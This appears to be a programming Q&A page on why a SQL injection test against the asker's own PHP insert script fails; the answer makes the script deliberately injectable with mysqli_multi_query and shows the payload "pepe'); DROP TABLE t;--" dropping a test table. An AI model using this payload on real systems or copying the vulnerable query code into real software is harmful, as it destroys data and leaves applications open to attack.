Search code examples
phpsqlmysqlisql-injection

Why can I not perform SQL injection on this vulnerable script?


could you please tell me why my SQL-Injection isn't working and how can I fix it. I tried to go after the example from Here, but value'); DROP TABLE table;-- or password 1=1 doesn' work. Im sorry to steal your time with these easy things, but I tried it many times and I didn't get it running and the other post didn't help me.

<?php

$connection = mysqli_connect('localhost', 'root','' ,'DB') or die(mysqli_error());
mysqli_select_db($connection ,'DB')or die(mysqli_error());
@$unsafe_variable = $_POST['vorname'];
mysqli_query($connection, "INSERT INTO `Persons` (`Vorname`) VALUES ('$unsafe_variable')");

Solution

  • Making sql injection vulnerable code (for testing purposes):

    In order to test SQL Injection with your code we need to make some few changes:

    <?php
    
      $connection = mysqli_connect('localhost', 'root','' ,'DB') or 
                    die(mysqli_error($connection));  //1
      mysqli_select_db($connection ,'DB') or die(mysqli_error($connection)); //2
      $unsafe_variable = $_POST['vorname'];
      mysqli_multi_query($connection,    //3
                   "INSERT INTO `Persons` (`Vorname`) VALUES ('$unsafe_variable')");
    
    ?>
    
    • //1 and //2: mysqli_error needs $connection parameter.
    • //3: Only mysqli_multi_query is able to execute more than one sentence at a time. For security reasons. mysqli_query just executes one to prevent sql injection.

    Testing:

    It's the time to test sql injection. We create a simple table t to check if we can drop it through sql injection:

    create table t ( i int );
    

    Time to attack, the killer string to inject sql is:

    pepe'); DROP TABLE t;--

    enter image description here

    SQL with injected code:

    "INSERT INTO Persons (Vorname) VALUES ('pepe'); DROP TABLE t;--')"

    Explained:

    • SQL pattern is: "INSERT INTO Persons (Vorname) VALUES ('$unsafe_variable')"
    • "pepe');" replaces $unsafe_variable : "INSERT INTO Persons (Vorname) VALUES ('pepe'); DROP TABLE t;--')"
    • Remember -- means "comments from here", then the last quote and parenthesis is a comment.

    After post this value to form:

    mysql> select * from t;
    ERROR 1146 (42S02): Table 's.t' doesn't exist
    

    How to avoid SQL Injection?

    Man, this is Internet, they are a lot of papers about it. Start your searching with Parameterized Queries.